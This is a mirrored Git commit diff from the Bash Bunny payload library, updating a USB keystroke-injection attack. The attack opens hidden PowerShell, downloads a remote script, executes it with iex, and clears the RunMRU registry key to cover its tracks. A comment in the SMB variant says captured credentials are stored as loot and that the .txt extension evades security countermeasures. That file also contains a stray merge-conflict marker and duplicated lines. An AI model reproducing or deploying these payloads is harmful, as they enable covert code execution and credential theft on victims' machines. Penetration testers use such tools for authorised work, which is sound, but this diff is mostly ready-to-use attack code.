hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #340 from hink/master

Browse Source 
[PAYLOAD UPDATE] psh_DownloadExec Update
This commit is contained in:
Marc
2019-06-28 00:23:05 +00:00
committed by GitHub
parent 0b9f7c0b47 989be5976a
commit 00b2ea8aa9
3 changed files with 8 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
payloads/library/execution/psh_DownloadExec/p.txt
View File

@@ -1,2 +1,3 @@
New-Item $ENV:UserProfile\Desktop\SUCCESS -ItemType file New-Item $ENV:UserProfile\Desktop\SUCCESS -ItemType file
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue

4
payloads/library/execution/psh_DownloadExec/payload.txt
View File

@@ -45,12 +45,12 @@ cp -R ${PAYLOAD_DIR}/* /tmp/ # any additional assets will be available in tmp
# STAGE 1 - POWERSHELL # STAGE 1 - POWERSHELL
LED STAGE1 LED STAGE1
RUN WIN "powershell -WindowStyle Hidden \"\$web=New-Object Net.WebClient;while (\$TRUE) {If ((New-Object net.sockets.tcpclient ('${HOST_IP}','80')).Connected) {iex \$web.DownloadString('http://${HOST_IP}/p.txt');\$web.DownloadString('http://172.16.64.1/DONE');exit}}\"" RUN WIN "powershell -WindowStyle Hidden \"\$web = New-Object Net.WebClient;While (\$true) {If ((New-Object net.sockets.tcpclient ('${HOST_IP}','80')).Connected) {iex \$web.DownloadString('http://${HOST_IP}/p.txt');exit}}\""
# Remove tracks in the psh payload if you wish # Remove tracks in the psh payload if you wish
# STAGE 2 - WAIT # STAGE 2 - WAIT
LED STAGE2 LED STAGE2
while ! grep -Fq "GET \"/DONE\"" ${SERVER_LOG}; do while ! grep -Fq "GET \"/p.txt\"" ${SERVER_LOG}; do
sleep .5 sleep .5
done done

5
payloads/library/execution/psh_DownloadExecSMB/payload.txt
View File

@@ -9,6 +9,11 @@
# Firmware: >= 1.2 # Firmware: >= 1.2
# #
# Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Possibilities are limitless! # Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Possibilities are limitless!
# Credentials captured by are stored as loot.
# Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures)
#
# Required tools: impacket
=======
# Credentials captured by are stored as loot. # Credentials captured by are stored as loot.
# Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures) # Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures)
# #